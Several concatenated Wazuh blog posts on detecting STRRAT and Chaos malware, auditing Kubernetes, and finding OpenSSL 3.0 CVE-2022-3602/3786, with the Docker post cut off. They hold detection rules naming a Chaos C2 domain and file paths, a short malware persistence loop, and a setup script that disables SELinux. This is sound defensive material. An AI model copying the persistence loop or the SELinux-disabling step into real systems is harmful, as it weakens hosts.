Wazuh has a command monitoring module to run commands and monitor the output of these commands on monitored endpoints. We use the command monitoring module to detect a Windows-scheduled task called Skype, created by STRRAT.

Victim endpoint

Perform the steps below to configure the Wazuh agent to monitor the scheduled task created by STRRAT on the victim endpoint.

1. Edit the C:Program Files (x86)ossec-agentossec.conf file and include the following configuration within the <ossec_config> block:

<localfile>
  <log_format>full_command</log_format>
  <command>schtasks /query /nh | findstr /c:"Skype"</command>
  <alias>finding_skype</alias>
  <frequency>300</frequency>
</localfile>

Note

The above command runs every 300 seconds, and this is defined by the <frequency> tag.

2. Launch Powershell with administrative privilege and restart the Wazuh agent for the changes to take effect:

> Restart-Service -Name wazuh

Wazuh server

Perform the steps below to configure the Wazuh server to detect the scheduled task created by STRRAT on the victim endpoint.

1. Edit the /var/ossec/etc/rules/local_rules.xml file on the Wazuh server and include the following rules:

<group name="syscheck,strrat_detection_rule,">
<!-- STRRAT creates a scheduled task called Skype -->
  <rule id="100054" level="0">
    <if_sid>530</if_sid>
    <match>^ossec: output: 'finding_skype'</match>
    <description>A scheduled task called Skype is created</description>
  </rule>
<!-- STRRAT maintains persistence -->
  <rule id="100055" level="12" ignore="720">
    <if_sid>100054</if_sid>
    <match type="pcre2">(?i)Skype.+running</match>
    <description>Possible STRRAT malware detected. Malware has achieved persistence</description>
    <mitre>
      <id>T1547.001</id>
    </mitre>
  </rule>
</group>

Where:

  • Rule id 100054 is triggered when a scheduled task named Skype is created.
  • Rule id 100055 is triggered when a scheduled task named Skype is in a running state.

2. Restart the Wazuh manager for the changes to take effect:

# systemctl restart wazuh-manager

The alert below is generated on the Wazuh dashboard when STRRAT malware is run on the victim endpoint.

Note

The below alert takes approximately 30 minutes before it is generated on the Wazuh dashboard.

Conclusion

In this blog post, we have successfully used Wazuh to detect the behavior of STRRAT malware. Specifically, we used file integrity monitoring and command monitoring techniques to detect STRRAT malware on a Windows 10 endpoint.

Wazuh is a free and open source enterprise-ready security solution for threat detection and response. Wazuh integrates seamlessly with third-party solutions and technologies. Wazuh also has an ever growing community where users are supported. To learn more about Wazuh, please check out our documentation and blog posts.

References 

1. Threat Thursday: STRRat Malware

2. New STRRAT RAT Phishing Campaign

The post STRRAT detection with Wazuh appeared first on Wazuh.

Chaos malware: Detecting using Wazuh

Chaos is a fast-spreading malware written in Go. It infects Windows and Linux systems across multiple architectures, including ARM, Intel i386, MIPS, and PowerPC. The malware can enumerate the infected endpoint, run remote shell commands, load additional modules, and launch DDoS attacks against entities across the gaming, financial services, media, and entertainment industries. Chaos malware spreads itself by exploiting unpatched vulnerabilities on endpoints.

This blog post analyzes the Indicators of Compromise (IOCs) of Chaos malware and mitigates the infection using Wazuh.

Chaos malware behavior

Below are some actions performed by Chaos malware when it is executed on the victim endpoint:

  • File creation: Immediately Chaos malware is executed, the Windows variant of the malware creates a copy of itself in the C:ProgramDataMicrosoft directory to mimic a legitimate Windows process, csrss.exe. The Linux variant creates a copy of itself in the Linux system configuration folder /etc/id.services.conf. The Linux variant also creates a reverse shell module, /etc/profile.d/bash_config.sh that allows the malware actor to run arbitrary commands on an infected endpoint.
  • Persistence: The Windows variant of the malware maintains persistence by creating a registry key HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun. This key has the value C:ProgramDataMicrosoftcsrss.exe, ensuring the malware is executed after reboot. To maintain persistence, the Linux variant of the malware creates a bash script at /etc/32678. The script references the dropped copy of the malware /etc/id.services.conf. Below is the content of the script:
#!/bin/sh
while [ 1 ]; do
sleep 60
/etc/id.services.conf
done
  • DNS query to rogue hosts: The malware attempts to establish a connection with a C2 by querying the host yusheng.j0a.cn. Every successful ping to the C2 returns a QueryStatus of 0.

Detection with Wazuh

In this blog post, we use VirusTotal, Sysmon, and Auditd with Wazuh to detect Chaos malware behavior on the victim endpoint.

Infrastructure

  1. A pre-built ready-to-use Wazuh OVA 4.3.10. Follow this guide to download the virtual machine.
  2. A Windows 10 victim endpoint with Wazuh agent installed.
  3. An Ubuntu 22.04 victim endpoint with Wazuh agent installed.

Using VirusTotal integration

VirusTotal is an online IT security platform that analyzes suspicious files, URLs, domains, and IP addresses to detect threats. Wazuh provides an out-of-the-box VirusTotal integration which, when combined with the Wazuh File integrity monitoring (FIM) module, detects malicious file hashes on an endpoint.

We configure the VirusTotal integration on the Wazuh server and FIM on the Windows and Linux endpoints to monitor the Downloads directory using this guide. Alerts are generated on the Wazuh dashboard whenever the malicious Chaos malware file is added to the Downloads directory.

The image below shows FIM and VirusTotal alerts on the Wazuh dashboard:

Using detection rules

We detect Chaos malware by comparing extracted Auditd and Sysmon logs from the Linux and Windows endpoints with a custom ruleset to look for matches.

Windows endpoint

We can detect Chaos malware activities by enriching the Windows Wazuh agent logs with Sysmon.

Configure the Wazuh agent as described below to collect Sysmon logs and transfer them to the Wazuh server for analysis:

  1. Download Sysmon from the Microsoft Sysinternals page.
  2. Download the Sysmon configuration file.
  3. Launch Powershell as an administrator and install Sysmon using the command below:
.Sysmon64.exe -accepteula -i sysmonconfig.xml
  1. Edit the Wazuh agent C:Program Files (x86)ossec-agentossec.conf and include the following settings within the <ossec_config> block.
<localfile>
  <location>Microsoft-Windows-Sysmon/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>
  1. Restart the Wazuh agent to apply the changes:
Restart-Service -Name WazuhSvc

Linux endpoint

In this section, we use Auditd rules to detect when Chaos malware creates malicious files on the Linux victim endpoint. Auditd is a Linux utility for monitoring system calls, file access, and creation.

To configure the Wazuh agent to capture Auditd logs on the Linux endpoint, we install Auditd and configure custom rules.

  1. Install Auditd on the endpoint:
# apt -y install auditd
  1. Add the following custom rules to the Auditd rules /etc/audit/rules.d/audit.rules file:
-w /boot/System.img.config -p wa -k possible_chaos_malware_infection
-w /etc/32678 -p wa -k possible_chaos_malware_infection
-w /etc/init.d/linux_kill -p wa -k possible_chaos_malware_infection
-w /etc/id.services.conf -p wa -k possible_chaos_malware_infection
-w /etc/profile.d/bash_config.sh -p wa -k possible_chaos_malware_infection
  1. Reload the Auditd rules to apply the changes and verify the applied configuration:
# auditctl -R /etc/audit/rules.d/audit.rules
# auditctl -l
  1. Next, edit the Wazuh agent configuration file /var/ossec/etc/ossec.conf and add the following settings within the <ossec_config> block.
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/audit/audit.log</location>
</localfile>
  1. Restart the Wazuh agent to apply changes:
# systemctl restart wazuh-agent

Wazuh server

In this section, we create rules to detect Chaos malware using the techniques, tactics, and procedures (TTPs) identified. We add the rules below to the /var/ossec/etc/rules/local_rules.xml file on the Wazuh server:

<group name="chaos_malware_windows,">

  <!-- Rogue file creation -->  
  <rule id="100112" level="15">
    <if_sid>61613</if_sid>
    <field name="win.eventdata.image" type="pcre2">(?i)(\\Users\\.+\\)</field>
    <field name="win.eventdata.targetFilename" type="pcre2">(?i)\\ProgramData\\Microsoft\\csrss.exe</field>
    <description>Malicious activity detected. csrss.exe created at $(win.eventdata.targetFilename)</description>
    <mitre>
      <id>T1574.005</id>
    </mitre>
  </rule>

  <!-- Registry key creation for persistence -->
  <rule id="100113" level="15">
    <if_sid>92300</if_sid>
    <field name="win.eventdata.image" type="pcre2">(?i)[c-z]:(\\Users\\.+\\)</field>
    <field name="win.eventdata.details" type="pcre2">(?i)[c-z]:(\\ProgramData\\Microsoft\\csrss.exe)</field>
    <description>Possible Chaos malware activity: $(win.eventdata.details) added itself to the Registry as a startup program to establish persistence</description>
    <mitre>
      <id>T1547.001</id>
    </mitre>
  </rule>

 <!-- DNS query to rogue hosts -->
  <rule id="100114" level="5" ignore="600">
    <if_sid>61600</if_sid>
    <field name="win.eventdata.image" type="pcre2">(?i)(\\Users\\.+\\)</field>
    <field name="win.eventdata.queryName" type="pcre2">(?i)yusheng.j0a.cn</field>
    <description>Possible Chaos malware activity: DNS query to rogue host</description>
    <mitre>
      <id>T1071.004</id>
    </mitre>
  </rule>

</group>

<!-- Rule to detect Chaos malware on Linux -->
<group name="chaos_malware_linux">
  <rule id="100120" level="15">
    <if_sid>80700</if_sid>
    <field name="audit.key">possible_chaos_malware_infection</field>
    <description>Possible Chaos malware infection - Auditd</description>
    <mitre>
      <id>T1204.002</id>
    </mitre>
  </rule>
</group>

Where:

  • Rule id 100112 detects when Chaos malware creates a copy of itself csrss.exe in the ProgramData directory.
  • Rule id 100113 detects when the malware sets the malicious copy csrss.exe as a run key in the Registry.
  • Rule id 100114 detects when the malware makes a DNS request.

Note

Due to the large volume of DNS requests from the malware, rule 100114 can cause agent event queue flooding. Therefore, the detection rule is optional.

  • Rule id 100120 is the rule created to detect when Auditd rules are triggered.

Once the rules have been added, restart the Wazuh manager to apply the changes using the command below:

# systemctl restart wazuh-manager

Below is the screenshot of the alerts generated on the Wazuh dashboard when the Chaos malware is executed on the Windows victim endpoint:

Also, the screenshot below shows the alerts generated on the Wazuh dashboard when Chaos malware is executed on the Ubuntu victim endpoint:

Conclusion

In this blog post, we demonstrated how to detect Chaos malware using Wazuh. We showed how to utilize Wazuh integration with VirusTotal, Sysmon, and Auditd, to detect Chaos malware and its malicious activities.

References

The post Chaos malware: Detecting using Wazuh appeared first on Wazuh.

Auditing Kubernetes with Wazuh

Kubernetes is an open source platform that helps in managing the automation of container applications. Kubernetes deploys and manages applications in multiple nodes that run in a cluster for scalability. It has a high degree of control over applications and services that run in its clusters. This makes the clusters targets of cyber attacks. Therefore, it is important to log and audit Kubernetes cluster events.

In this blog post, we show how to audit Kubernetes events with Wazuh. To achieve this, we take the following steps:

  1. Create a webhook listener on the Wazuh server to receive logs from the Kubernetes cluster.
  2. Enable auditing on the Kubernetes cluster and configure it to forward audit logs to the Wazuh webhook listener.
  3. Create rules on the Wazuh server to alert about audit events received from Kubernetes.

Requirements

  • A Wazuh server 4.3.10: You can use the pre-built ready-to-use Wazuh OVA. Follow this guide to set up the virtual machine.
  • A self-managed Kubernetes cluster: To test this, we deploy a local Minikube cluster on a CentOS 8 endpoint. The bash script minikubesetup.sh below installs Minikube and all necessary dependencies on the endpoint.
#!/bin/bash

# Disable SELinux
setenforce 0
sed -i --follow-symlinks 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/sysconfig/selinux

# Install Docker
yum install yum-utils -y
yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
yum install docker-ce docker-ce-cli containerd.io docker-compose-plugin -y --allowerasing
systemctl start docker
systemctl enable docker

# Install conntrack
yum install conntrack -y

# Install Kubectl
curl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl
chmod +x kubectl
mv kubectl /usr/bin/

# Install Minikube
curl -Lo minikube https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
chmod +x minikube
mv minikube /usr/bin/

# Install crictl
VERSION="v1.25.0"
wget https://github.com/kubernetes-sigs/cri-tools/releases/download/$VERSION/crictl-$VERSION-linux-amd64.tar.gz
tar zxvf crictl-$VERSION-linux-amd64.tar.gz -C /usr/bin/
rm -f crictl-$VERSION-linux-amd64.tar.gz

# Install cricd
wget https://github.com/Mirantis/cri-dockerd/releases/download/v0.2.6/cri-dockerd-0.2.6-3.el8.x86_64.rpm
rpm -i cri-dockerd-0.2.6-3.el8.x86_64.rpm 
rm cri-dockerd-0.2.6-3.el8.x86_64.rpm

# Start Minikube
minikube start --driver=none

Create a file minikubesetup.sh and paste the script above into it. Execute the script with root privileges to set up Minikube:

# bash minikubesetup.sh

Configure the Wazuh server

We create a webhook listener on the Wazuh server to receive the Kubernetes audit logs. To do this, we first create certificates for encrypted communication between the Wazuh server and the Kubernetes cluster. We then create the webhook listener that listens on port 8080 and forwards the logs received to the Wazuh server for analysis. Additionally, we create a systemd service to run the webhook listener, and enable the service to run on system reboot.

Create certificates for communication between the Wazuh server and Kubernetes

1. Create the directory to contain the certificates:

# mkdir /var/ossec/integrations/kubernetes-webhook/

2. Create a certificate configuration file /var/ossec/integrations/kubernetes-webhook/csr.conf and add the following. Replace <wazuh_server_ip> with your Wazuh server IP address:

[ req ]
prompt = no
default_bits = 2048
default_md = sha256
distinguished_name = req_distinguished_name
x509_extensions = v3_req
[req_distinguished_name]
C = US
ST = California
L = San Jose
O = Wazuh
OU = Research and development
emailAddress = [email protected]
CN = <wazuh_server_ip>
[ v3_req ]
authorityKeyIdentifier=keyid,issuer
basicConstraints = CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment
subjectAltName = @alt_names
[alt_names]
IP.1 = <wazuh_server_ip>

3. Create the root CA public and private keys:

# openssl req -x509 -new -nodes -newkey rsa:2048 -keyout /var/ossec/integrations/kubernetes-webhook/rootCA.key -out /var/ossec/integrations/kubernetes-webhook/rootCA.pem -batch -subj "/C=US/ST=California/L=San Jose/O=Wazuh"

4. Create the certificate signing request (csr) and the server private key:

# openssl req -new -nodes -newkey rsa:2048 -keyout /var/ossec/integrations/kubernetes-webhook/server.key -out /var/ossec/integrations/kubernetes-webhook/server.csr -config /var/ossec/integrations/kubernetes-webhook/csr.conf

5. Generate the server certificate:

# openssl x509 -req -in /var/ossec/integrations/kubernetes-webhook/server.csr -CA /var/ossec/integrations/kubernetes-webhook/rootCA.pem -CAkey /var/ossec/integrations/kubernetes-webhook/rootCA.key -CAcreateserial -out /var/ossec/integrations/kubernetes-webhook/server.crt -extfile /var/ossec/integrations/kubernetes-webhook/csr.conf -extensions v3_req

Create the webhook listener

1. Install the Python flask module with pip. This module is used to create the webhook listener and to receive JSON POST requests:

# /var/ossec/framework/python/bin/pip3 install flask

2. Create the Python webhook listener /var/ossec/integrations/custom-webhook.py. Replace <wazuh_server_ip> with your Wazuh server IP address:

#!/var/ossec/framework/python/bin/python3

import json
from socket import socket, AF_UNIX, SOCK_DGRAM
from flask import Flask, request

# CONFIG
PORT     = 8080
CERT     = '/var/ossec/integrations/kubernetes-webhook/server.crt'
CERT_KEY = '/var/ossec/integrations/kubernetes-webhook/server.key'

# Analysisd socket address
socket_addr = '/var/ossec/queue/sockets/queue'

def send_event(msg):
    string = '1:k8s:{0}'.format(json.dumps(msg))
    sock = socket(AF_UNIX, SOCK_DGRAM)
    sock.connect(socket_addr)
    sock.send(string.encode())
    sock.close()
    return True

app = Flask(__name__)
context = (CERT, CERT_KEY)

@app.route('/', methods=['POST'])
def webhook():
    if request.method == 'POST':
        if send_event(request.json):
            print("Request sent to Wazuh")
        else:
            print("Failed to send request to Wazuh")
    return "Webhook received!"

if __name__ == '__main__':
    app.run(host='<wazuh_server_ip>', port=PORT, ssl_context=context)

3. Create a systemd service at /lib/systemd/system/wazuh-webhook.service:

[Unit]
Description=Wazuh webhook
Wants=network-online.target
After=network.target network-online.target

[Service]
ExecStart=/var/ossec/framework/python/bin/python3 /var/ossec/integrations/custom-webhook.py
Restart=on-failure

[Install]
WantedBy=multi-user.target

4. Reload systemd, enable and start the webhook service:

# systemctl daemon-reload
# systemctl enable wazuh-webhook.service
# systemctl start wazuh-webhook.service

5. Check the status of the webhook service to verify that it is running:

# systemctl status wazuh-webhook.service

6. Enable access to port 8080 if the firewall on the Wazuh server is running.

# firewall-cmd --permanent --add-port=8080/tcp
# firewall-cmd --reload

Configure Kubernetes audit logging on the master node

To configure Kubernetes audit logging, we create an audit policy file to define events that the cluster will log. The policy also defines the amount of information that should be logged for each type of event. We proceed to create a webhook configuration file that specifies the webhook address where the audit events will be sent to. Finally, we apply the newly created audit policy and the webhook configuration to the cluster by modifying the Kubernetes API server configuration file.

The Kubernetes API server runs the Kubernetes API, which serves as the front end through which users interact with the Kubernetes cluster. We log all user requests to the Kubernetes API by adding the audit policy and webhook configuration to the API server.

1. Create a policy file /etc/kubernetes/audit-policy.yaml to log the events:

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
    # Don’t log requests to the following API endpoints
    - level: None
      nonResourceURLs:
          - '/healthz*'
          - '/logs'
          - '/metrics'
          - '/swagger*'
          - '/version'

    # Limit requests containing tokens to Metadata level so the token is not included in the log
    - level: Metadata
      omitStages:
          - RequestReceived
      resources:
          - group: authentication.k8s.io
            resources:
                - tokenreviews

    # Extended audit of auth delegation
    - level: RequestResponse
      omitStages:
          - RequestReceived
      resources:
          - group: authorization.k8s.io
            resources:
                - subjectaccessreviews

    # Log changes to pods at RequestResponse level
    - level: RequestResponse
      omitStages:
          - RequestReceived
      resources:
          # core API group; add third-party API services and your API services if needed
          - group: ''
            resources: ['pods']
            verbs: ['create', 'patch', 'update', 'delete']

    # Log everything else at Metadata level
    - level: Metadata
      omitStages:
          - RequestReceived

2. Create a webhook configuration file /etc/kubernetes/audit-webhook.yaml. Replace <wazuh_server_ip> with the IP address of your Wazuh server:

apiVersion: v1
kind: Config
preferences: {}
clusters:
  - name: wazuh-webhook
    cluster:
      insecure-skip-tls-verify: true
      server: https://<wazuh_server_ip>:8080 

# kubeconfig files require a context. Provide one for the API server.
current-context: webhook
contexts:
- context:
    cluster: wazuh-webhook
    user: kube-apiserver # Replace with name of API server if it’s different
  name: webhook

3. Edit the Kubernetes API server configuration file /etc/kubernetes/manifests/kube-apiserver.yaml and add the highlighted lines under the relevant sections :

...
spec:
  containers:
  - command:
    - kube-apiserver
    - --audit-policy-file=/etc/kubernetes/audit-policy.yaml
    - --audit-webhook-config-file=/etc/kubernetes/audit-webhook.yaml
    - --audit-webhook-batch-max-size=1

...

    volumeMounts:
    - mountPath: /etc/kubernetes/audit-policy.yaml
      name: audit
      readOnly: true
    - mountPath: /etc/kubernetes/audit-webhook.yaml
      name: audit-webhook
      readOnly: true

...

  volumes:
  - hostPath:
      path: /etc/kubernetes/audit-policy.yaml
      type: File
    name: audit
  - hostPath:
      path: /etc/kubernetes/audit-webhook.yaml
      type: File
    name: audit-webhook

4. Restart Kubelet to apply the changes:

# systemctl restart kubelet

Create detection rules on the Wazuh server

We create a base rule 110002 that matches all Kubernetes audit events received via the webhook listener. Rule 110003 alerts Kubernetes “create” events, while rule 110004 alerts Kubernetes “delete” events.

1. Add the following rules to the Wazuh server at /var/ossec/etc/rules/local_rules.xml:

<group name="k8s_audit,">
  <rule id="110002" level="0">
    <location>k8s</location>
    <field name="apiVersion">audit</field>
    <description>Kubernetes audit log.</description>
  </rule>

  <rule id="110003" level="5">
    <if_sid>110002</if_sid>
    <regex type="pcre2">requestURI":.+", "verb": "create</regex>
    <description>Kubernetes request to create resource</description>
  </rule>

  <rule id="110004" level="5">
    <if_sid>110002</if_sid>
    <regex type="pcre2">requestURI":.+", "verb": "delete</regex>
    <description>Kubernetes request to delete resource</description>
  </rule>
</group>

2. Restart the Wazuh manager to apply the rules:

# systemctl restart wazuh-manager

Test the configuration

Test the rules by creating and deleting a deployment on the Kubernetes cluster. 

1. Run the following command on the Kubernetes master node to create a new deployment:

# kubectl create deployment hello-minikube --image=k8s.gcr.io/echoserver:1.4

2. Run the following command to delete the deployment:

# kubectl delete deployment hello-minikube

You get alerts similar to the following on the Wazuh dashboard when resources are created or deleted in the monitored Kubernetes cluster.

One of the logs is shown below:

{
  "kind": "EventList",
  "apiVersion": "audit.k8s.io/v1",
  "metadata": {},
  "items": [
    {
      "level": "Metadata",
      "auditID": "6ae321a6-0735-41a6-a9d9-050f9a75644c",
      "stage": "ResponseComplete",
      "requestURI": "/apis/apps/v1/namespaces/default/deployments?fieldManager=kubectl-create&fieldValidation=Strict",
      "verb": "create",
      "user": {
        "username": "minikube-user",
        "groups": [
          "system:masters",
          "system:authenticated"
        ]
      },
      "sourceIPs": [
        "192.168.132.137"
      ],
      "userAgent": "kubectl/v1.25.3 (linux/amd64) kubernetes/434bfd8",
      "objectRef": {
        "resource": "deployments",
        "namespace": "default",
        "name": "hello-minikube",
        "apiGroup": "apps",
        "apiVersion": "v1"
      },
      "responseStatus": {
        "metadata": {},
        "code": 201
      },
      "requestReceivedTimestamp": "2022-11-08T15:45:13.929428Z",
      "stageTimestamp": "2022-11-08T15:45:13.946284Z",
      "annotations": {
        "authorization.k8s.io/decision": "allow",
        "authorization.k8s.io/reason": ""
      }
    }
  ]
}

Additional rules can be added to alert Kubernetes “update” and “patch” events. Please note that alerting these events will generate huge volumes of alerts. Alternatively, if you wish to log all Kubernetes events without alerting them, you can save all the logs to the archive. 

Save all Kubernetes logs to the Wazuh archive

Please be aware that using the Wazuh archive to save all incoming logs consumes a significant amount of storage space depending on the number of events received per second.

1. To save all logs to the archive, edit the Wazuh server configuration file /var/ossec/etc/ossec.conf and set the value of logall_json to yes. An example is shown below:

<ossec_config>
  <global>
    <jsonout_output>yes</jsonout_output>
    <alerts_log>yes</alerts_log>
    <logall>no</logall>
    <logall_json>yes</logall_json>
    ...
</ossec_config>

2. Restart the Wazuh manager to apply the change:

# systemctl restart wazuh-manager

3. To display archive logs on the Wazuh dashboard, modify the Filebeat configuration file /etc/filebeat/filebeat.yml and enable archives:

...
filebeat.modules:
  - module: wazuh
    alerts:
      enabled: true
    archives:
      enabled: true
...

4. Restart filebeat to apply the change:

# systemctl restart filebeat

5. On the Wazuh dashboard, click the upper-left menu icon and navigate to Stack management -> Index patterns -> Create index pattern. Use wazuh-archives-* as the index pattern name, and set @timestamp in the Time field. The GIF below shows how to create the index pattern:

6. To view the events on the dashboard, click the upper-left menu icon and navigate to Discover. Change the index pattern to wazuh-archives-* and then add the filter data.apiVersion: exists to view all Kubernetes events. The GIF below shows how to view the archive events on the Wazuh dashboard:

References

The post Auditing Kubernetes with Wazuh appeared first on Wazuh.

OpenSSL 3.0 vulnerability audit using Wazuh

OpenSSL is a popular open source cryptography library. Applications that secure communication over computer networks use OpenSSL to implement SSL (Secure Socket Layer) and TLS (Transport Layer Security). OpenSSL provides different utility functions, such as generating public and private keys to initiate secure communications.

The OpenSSL project recently announced the release of OpenSSL 3.0.7. This release was made available on 1st November 2022 as a security fix for two high-severity vulnerabilities, CVE-2022-3602 and CVE-2022-3786.

1. CVE-2022-3602 (X.509 Email Address 4-byte Buffer Overflow): This vulnerability occurs because OpenSSL processes Punycode incorrectly when checking X.509 certificates. Punycode is a unique encoding system for representing Unicode characters in multiple languages using ASCII character subset. It is used to encode Domain names that contain non-ASCII characters. The specific vulnerable function in OpenSSL is the ossl_punycode_decode. This vulnerable function may trigger a buffer overflow when OpenSSL processes a certificate chain when decoding Punycode strings. This vulnerability was reported on 17th October 2022 by SandboxEscaper. The OpenSSL project initially rated CVE-2022-3602 as a “critical” vulnerability, but it was later downgraded to “high” because it does not reliably initiate Remote Code Execution (RCE).

2. CVE-2022-3786 (X.509 Email Address Variable Length Buffer Overflow): This vulnerability triggers a buffer overflow in the vulnerable ossl_a2ulable function. When the vulnerable function interacts with a Punycode character accompanied by a dot character (.), the ossl_a2ulable function appends the dot character to the buffer output. This action happens even when the action overflows the size of the buffer. An attacker will trigger a buffer overflow by using any number of dot characters, leading to the stack corruption. This vulnerability was found by Viktor Dukhovni on 18th October 2022 while researching CVE-2022-3602.

Both vulnerabilities are buffer overflow vulnerabilities that OpenSSL triggers in the name constraint checking function of the X.509 certificate verification. A certificate chain signature verification must occur for an attacker to exploit these vulnerabilities. These vulnerabilities are exploited when:

  1. A certificate authority (CA) signs a malicious certificate. Here, an attacker will create a CA certificate that contains the nameConstraints field with a malicious Punycode string containing at least 512 bytes excluding “xn--”. Alternatively, an attacker can create a leaf certificate containing the otherName field of an X.509 Subject Alternative Name (SAN). This field specifies an SmtpUTF8Mailbox string.
  2. An application verifies a malicious certificate despite failure to build a trusted issuer path.
Figure 1: An attack scenario.

CVE-2022-3602 and CVE-2022-3786 both lead to Denial of Service (DoS). An attacker will crash an application using OpenSSL by sending a certificate containing a malicious Punycode-encoded email to the application for parsing.

The affected versions of OpenSSL are 3.0.0 through 3.0.6, while the earlier versions, OpenSSL 0.9.x, 1.0.x, and 1.1.x are not affected by the mentioned vulnerabilities. There are no available working exploits at the time of writing this blog post.

The fix for CVE-2022-3602 in the punycode decoder was implemented by simply changing “>” to “>=” in the source code, as shown below:

n = n + i / (written_out + 1);
i %= (written_out + 1);

if (written_out >= max_out)
    return 0;

memmove(pDecoded + i + 1, pDecoded + i

This shows how a one-byte error can trigger a high severity vulnerability.

To ensure airtight security, organizations must prioritize inventorying and scanning all available systems for vulnerable software versions, in this case, OpenSSL. In this blog post, we detect the vulnerable versions of OpenSSL on an endpoint with the Wazuh Vulnerability Detector module and the Security Configuration Assessment (SCA) module.

Detection with Wazuh

To demonstrate Wazuh capabilities for detecting the OpenSSL 3.0.0 – 3.0.6 vulnerabilities, we set up the following infrastructure:

1. A pre-built ready-to-use Wazuh OVA 4.3.10. Follow this guide to download the virtual machine.

2. Ubuntu 22.04 and Windows 11 endpoints with OpenSSL 3.0.1 to 3.0.6 installed. You can install a Wazuh agent and enroll it to a Wazuh server by following the deploying Wazuh agents guide.

Vulnerability detector

The Wazuh Vulnerability Detector module can detect vulnerable versions of the OpenSSL package. It can discover vulnerabilities affecting applications and the operating system of monitored endpoints. The Vulnerability Detector module first downloads and stores the data of all vulnerabilities from multiple publicly available CVE repositories. Then, the Wazuh server builds a global vulnerability database from the gathered data. Finally, the Wazuh global vulnerability database is cross-correlated with the endpoint inventory data to detect vulnerabilities.

Take the following steps to configure the Wazuh Vulnerability Detector module:

Wazuh server

1. Edit the /var/ossec/etc/ossec.conf file and enable the Vulnerability Detector module:

<ossec_config>
  …
  <vulnerability-detector>
    <enabled>yes</enabled>
    …
  </vulnerability-detector>
  …
</ossec_config>

2. Edit the /var/ossec/etc/ossec.conf configuration file and enable the operating system provider of the monitored endpoint. In this section, we will use an Ubuntu endpoint for the Vulnerability Detector module. We then enable Canonical, the publisher of Ubuntu.

<ossec_config>
  …
  <vulnerability-detector>
    …
    <!-- Ubuntu OS vulnerabilities -->
    <provider name="canonical">
      <enabled>yes</enabled>
      <os>trusty</os>
      <os>xenial</os>
      <os>bionic</os>
      <os>focal</os>
      <os>jammy</os>
      <update_interval>1h</update_interval>
    </provider>
    …
  </vulnerability-detector>
  …
</ossec_config>

3. Restart the Wazuh manager to apply the changes:

# systemctl restart wazuh-manager

4. View the Wazuh Vulnerability Detector events on the Wazuh dashboard by navigating to Modules > Vulnerabilities > Select agent, and select the Ubuntu endpoint.

After completing the Wazuh vulnerability scan, we wait for a few minutes and will see the CVE-2022-3786 and CVE-2022-3602 vulnerabilities as part of the inventory of the vulnerable monitored endpoint on the Wazuh dashboard:

Security Configuration Assessment

The Wazuh SCA module runs checks that test system hardening, detect vulnerable software, and validate configuration policies. In this section, we utilize SCA to detect the vulnerable versions of OpenSSL on Windows.

Note

Run the below commands using Administrator privileges.

Windows endpoint

1. Create a directory to hold local SCA policy files:

mkdir "C:Program Files (x86)"local_sca_policies

Custom SCA policies inside the Wazuh default ruleset folders are not kept across updates. This is why the C:Program Files (x86)local_sca_policies directory is created outside the Wazuh agent installation folder.

2. Create a new policy file C:Program Files (x86)local_sca_policiesopenssl3x_check.yml and add the following content:

policy:
  id: "openssl3x_check"
  file: "openssl3x_check.yml"
  name: "OpenSSL 3.0.x vulnerability check on Windows"
  description: "Detecting vulnerable versions of OpenSSL."
  references:
    - https://www.openssl.org/news/secadv/20221101.txt/

requirements:
  title: "Check that Windows is installed"
  description: "Requirements for running the SCA scan against machines with OpenSSL on them."
  condition: all
  rules:
    - 'r:HKLMSOFTWAREMicrosoftWindows NTCurrentVersion -> ProductName -> r:^Windows'

checks:
  - id: 10001
    title: "Ensure OpenSSL is not between 3.0.0 to 3.0.6."
    description: "The OpenSSL 3.0.0 to 3.0.6 is vulnerable to CVE-2022-3602 & CVE-2022-3786 leading to potential denial of service"
    rationale: "New vulnerabilities have been discovered in OpenSSL. It is important to update to the latest version of OpenSSL to prevent discovered vulnerabilities in previous versions from being exploited."
    remediation: "Update OpenSSL to a version greater than or equal to 3.0.7"
    condition: none
    rules:
      - "c:powershell Get-command openssl -> r:3.0.0|3.0.1|3.0.2|3.0.3|3.0.4|3.0.5|3.0.6"

Note

The local custom SCA policy file can also be distributed to other endpoints that you want to check for the OpenSSL vulnerability on by using a remote deployment tool like Ansible, or the Windows GPO.

3. Edit C:Program Files (x86)ossec-agentossec.conf to contain the SCA block:

  <sca>  
    <policies> 
      <policy>C:Program Files (x86)local_sca_policiesopenssl3x_check.yml</policy>  
    </policies>
  </sca>

4. Restart the Wazuh agent to apply the changes:

NET STOP WazuhSvc
NET START WazuhSvc

Testing the configuration

We can see the SCA scan results for an endpoint with the infected version of OpenSSL:

Mitigation

It is recommended by OpenSSL to upgrade any vulnerable installation of OpenSSL to the OpenSSL project released OpenSSL-3.0.7 fix.

Red Hat Enterprise users can update to the Red Hat patched version openssl-3.0.1-43.el9_0.

Ubuntu 22.04 and 22.10 users can update to the Canonical patched version 3.0.2-0ubuntu1.7 and 3.0.5-2ubuntu2, respectively.

Conclusion

This blog post demonstrates how Wazuh detects OpenSSL libraries with the CVE-2022-3602 and CVE-2022-3786 vulnerabilities. The Wazuh Vulnerability Detector can be used by organizations to detect existing vulnerabilities across different operating systems on a large scale. The Wazuh Security Configuration Assessment (SCA) module can also be used to check for vulnerable OpenSSL versions on multiple endpoints.

Do you have any questions? Join our community on Slack

References

The post OpenSSL 3.0 vulnerability audit using Wazuh appeared first on Wazuh.

Docker container security monitoring with Wazuh

Docker has become a popular framework for application deployment since its development due to its benefits. For example, it makes it easier for organizations to enhance the portability of their applications and operational resilience. Docker is an open source technology used to package applications into containers. Docker containers are lightweight, standalone, and runnable instances of a Docker image that isolate software running in the container from the operating system environment. With these benefits, many organizations have adopted the technology to quickly package their software in standard units for development, shipment, and deployment.

The increased usage of containerized software has increased the attack surface for organizations. This provides an additional asset for cyber threat actors to target in their attacks. Therefore, it is crucial to continuously monitor containers to gain complete visibility of their environment and events during execution.

In this blog post, we demonstrate how to do the following:

